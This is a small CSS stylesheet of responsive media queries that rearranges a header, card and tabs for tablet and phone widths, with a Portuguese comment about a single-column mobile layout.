@media (max-width: 1199px) {
  .t2root { width: 100%; }
  .t2head { display: flex; align-items: center; gap: 16px; padding: 0 26px; }
  .t2head img { position: static; width: 132px; height: auto; }
  .t2head .data { position: static; }
  .t2head .cancel { position: static; margin-left: auto; }
}
/* tela 2: coluna única em celular */
@media (max-width: 719px) {
  .t2head { gap: 12px; padding: 0 18px; }
  .t2head img { width: 112px; }
  .t2head .data { font-size: 11px; letter-spacing: .2px; }
  .t2wrap { width: calc(100% - 32px); margin: 26px auto 24px; min-height: 0; flex-direction: column; }
  .t2mimos { display: none; }
  .t2card { width: 100%; padding: 26px 20px 30px; }
  .t2card h1 { font-size: 29px; }
  .t2tabs { gap: 30px; }
  .t2dev { gap: 14px; }
  .t2card .avancar { margin-top: 20px; }
}
